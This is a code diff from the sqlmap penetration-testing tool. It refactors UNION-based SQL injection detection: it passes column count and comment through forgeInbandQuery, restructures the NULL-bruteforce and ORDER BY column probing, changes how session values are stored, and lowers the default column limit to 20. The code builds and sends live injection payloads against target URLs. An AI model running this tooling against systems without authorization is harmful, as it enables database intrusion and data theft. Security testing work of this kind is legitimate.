diff --git a/lib/core/agent.py b/lib/core/agent.py index bfde2a466..6fda4f72d 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -425,7 +425,7 @@ class Agent: return concatenatedQuery - def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"): + def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL", count=None, comment=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -456,6 +456,12 @@ class Agent: @rtype: C{str} """ + if count is None: + count = kb.unionCount + + if comment is None: + comment = kb.unionComment + inbandQuery = self.prefixQuery("UNION ALL SELECT ") if query.startswith("TOP"): @@ -475,7 +481,7 @@ class Agent: if kb.dbms == DBMS.ORACLE and inbandQuery.endswith(" FROM DUAL"): inbandQuery = inbandQuery[:-len(" FROM DUAL")] - for element in range(kb.unionCount): + for element in range(count): if element > 0: inbandQuery += ", " @@ -499,7 +505,7 @@ class Agent: if intoRegExp: inbandQuery += intoRegExp - inbandQuery = self.suffixQuery(inbandQuery, kb.unionComment) + inbandQuery = self.suffixQuery(inbandQuery, comment) return inbandQuery diff --git a/lib/core/session.py b/lib/core/session.py index bf9cade18..aeb782ca4 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -219,26 +219,32 @@ def setUnion(comment=None, count=None, position=None, negative=False, falseCond= @type position: C{str} """ - if comment and count: + if comment: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - ( not kb.resumedQueries[conf.url].has_key("Union comment") - or not kb.resumedQueries[conf.url].has_key("Union count") - ) ) + not kb.resumedQueries[conf.url].has_key("Union comment") ) ) if condition: dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), safeFormatString(comment))) - dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), count)) kb.unionComment = comment + + if count: + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Union count") ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injPlace, safeFormatString(conf.parameters[kb.injPlace]), count)) + kb.unionCount = count if position is not None: condition = ( not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - ( not kb.resumedQueries[conf.url].has_key("Union position") - ) ) + not kb.resumedQueries[conf.url].has_key("Union position") ) ) if condition: @@ -485,15 +491,13 @@ def resumeConfKb(expression, url, value): elif expression == "Union negative" and url == conf.url: kb.unionNegative = True if value[:-1] == "Yes" else False - logMsg = "resuming union negative " - logMsg += "%s from session file" % kb.unionPosition + logMsg = "resuming union negative from session file" logger.info(logMsg) elif expression == "Union false condition" and url == conf.url: kb.unionFalseCond = True if value[:-1] == "Yes" else False - logMsg = "resuming union false condition " - logMsg += "%s from session file" % kb.unionPosition + logMsg = "resuming union false condition from session file" logger.info(logMsg) elif expression == "Union payload" and url == conf.url: diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 00246b731..6db976e38 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -19,35 +19,23 @@ from lib.core.unescaper import unescaper from lib.parse.html import htmlParser from lib.request.connect import Connect as Request -def __unionPosition(negative=False, falseCond=False): +def __unionPosition(negative=False, falseCond=False, count=None, comment=None): validPayload = None - if negative or falseCond: - negLogMsg = "partial (single entry)" - else: - negLogMsg = "full" - - infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg - infoMsg += "'%s'" % kb.injParameter - - if negative: - infoMsg += " with negative parameter value" - elif falseCond: - infoMsg += " by appending a false condition after the parameter value" - - logger.info(infoMsg) + if count is None: + count = kb.unionCount # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability - for exprPosition in range(0, kb.unionCount): + for exprPosition in range(0, count): # Prepare expression with delimiters randQuery = randomStr() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request - query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) + query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment) payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond) # Perform the request @@ -59,66 +47,59 @@ def __unionPosition(negative=False, falseCond=False): break - if isinstance(kb.unionPosition, int): - infoMsg = "the target url is affected by an exploitable " - infoMsg += "%s inband sql injection vulnerability " % negLogMsg - infoMsg += "on parameter '%s'" % kb.injParameter - logger.info(infoMsg) - else: - warnMsg = "the target url is not affected by an exploitable " - warnMsg += "%s inband sql injection vulnerability " % negLogMsg - warnMsg += "on parameter '%s'" % kb.injParameter - - if negLogMsg == "partial": - warnMsg += ", sqlmap will retrieve the query output " - warnMsg += "through blind sql injection technique" - - logger.warn(warnMsg) - return validPayload -def __unionConfirm(negative=False, falseCond=False): +def __unionConfirm(count=None, comment=None): validPayload = None # Confirm the inband SQL injection and get the exact column # position which can be used to extract data if not isinstance(kb.unionPosition, int): - validPayload = __unionPosition(negative=negative, falseCond=falseCond) + debugMsg = "testing full inband with %s columns" % count + logger.debug(debugMsg) + + validPayload = __unionPosition(count=count, comment=comment) # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): - validPayload = __unionPosition(negative=True) + debugMsg = "testing single-entry inband value with %s columns" % count + logger.debug(debugMsg) + + validPayload = __unionPosition(negative=True, count=count, comment=comment) # Assure that the above function found the exploitable partial # (single entry) inband SQL injection position with negative # parameter validPayload if not isinstance(kb.unionPosition, int): - validPayload = __unionPosition(falseCond=True) - + # NOTE: disable false condition for the time being, in the + # end it produces the same as prepending the original + # parameter value with a minus (negative) + #validPayload = __unionPosition(falseCond=True, count=count, comment=comment) + # # Assure that the above function found the exploitable partial # (single entry) inband SQL injection position by appending # a false condition after the parameter validPayload - if not isinstance(kb.unionPosition, int): - return - else: - setUnion(falseCond=True) + #if not isinstance(kb.unionPosition, int): + # return None + #else: + # setUnion(falseCond=True) + return None else: setUnion(negative=True) return validPayload -def __unionTestByNULLBruteforce(comment, negative=False, falseCond=False): +def __unionTestByNULLBruteforce(comment): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ - columns = None - query = agent.prefixQuery("UNION ALL SELECT NULL") + query = agent.prefixQuery("UNION ALL SELECT NULL") - for count in range(0, conf.uCols+1): + for count in range(1, conf.uCols+1): if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"): query = query[:-len(" FROM DUAL")] @@ -128,19 +109,16 @@ def __unionTestByNULLBruteforce(comment, negative=False, falseCond=False): if kb.dbms == DBMS.ORACLE: query += " FROM DUAL" - commentedQuery = agent.suffixQuery(query, comment) - payload = agent.payload(newValue=commentedQuery, negative=negative, falseCond=falseCond) - test, seqMatcher = Request.queryPage(payload, getSeqMatcher=True) - - if test or seqMatcher >= 0.6: - columns = count + 1 + validPayload = __unionConfirm(count, comment) + if validPayload: + setUnion(count=count) break - return columns + return validPayload -def __unionTestByOrderBy(comment, negative=False, falseCond=False): - columns = None +def __unionTestByOrderBy(comment): + columns = None prevPayload = "" for count in range(1, conf.uCols+2): @@ -151,6 +129,7 @@ def __unionTestByOrderBy(comment, negative=False, falseCond=False): if seqMatcher >= 0.6: columns = count + setUnion(count=count) elif columns: break @@ -158,16 +137,6 @@ def __unionTestByOrderBy(comment, negative=False, falseCond=False): return columns -def __unionTestAll(comment="", negative=False, falseCond=False): - columns = None - - if conf.uTech == "orderby": - columns = __unionTestByOrderBy(comment, negative=negative, falseCond=falseCond) - else: - columns = __unionTestByNULLBruteforce(comment, negative=negative, falseCond=falseCond) - - return columns - def unionTest(): """ This method tests if the target url is affected by an inband @@ -190,32 +159,28 @@ def unionTest(): logger.info(infoMsg) validPayload = None - columns = None - negative = False - falseCond = False for comment in (queries[kb.dbms].comment.query, ""): - columns = __unionTestAll(comment) + if conf.uTech == "orderby": + validPayload = __unionTestByOrderBy(comment) + else: + validPayload = __unionTestByNULLBruteforce(comment) - if not columns: - negative = True - columns = __unionTestAll(comment, negative=negative) - - if not columns: - falseCond = True - columns = __unionTestAll(comment, falseCond=falseCond) - - if columns: - setUnion(comment=comment, count=columns, negative=negative, falseCond=falseCond) + if validPayload: + setUnion(comment=comment) break - if kb.unionCount: - validPayload = __unionConfirm(negative=negative, falseCond=falseCond) + if isinstance(kb.unionPosition, int): + infoMsg = "the target url is affected by an exploitable " + infoMsg += "inband sql injection vulnerability " + infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount) + logger.info(infoMsg) else: - warnMsg = "the target url is not affected by an " - warnMsg += "inband sql injection vulnerability" - logger.warn(warnMsg) + infoMsg = "the target url is not affected by an exploitable " + infoMsg += "inband sql injection vulnerability " + infoMsg += "on parameter '%s'" % kb.injParameter + logger.info(infoMsg) validPayload = agent.removePayloadDelimiters(validPayload, False) setUnion(payload=validPayload) diff --git a/sqlmap.conf b/sqlmap.conf index a7786d916..b8e88d88c 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -262,8 +262,8 @@ uTech = NULL # Maximum number of columns to test for # Valid: integer -# Default: 50 -uCols = 50 +# Default: 20 +uCols = 20 [Fingerprint]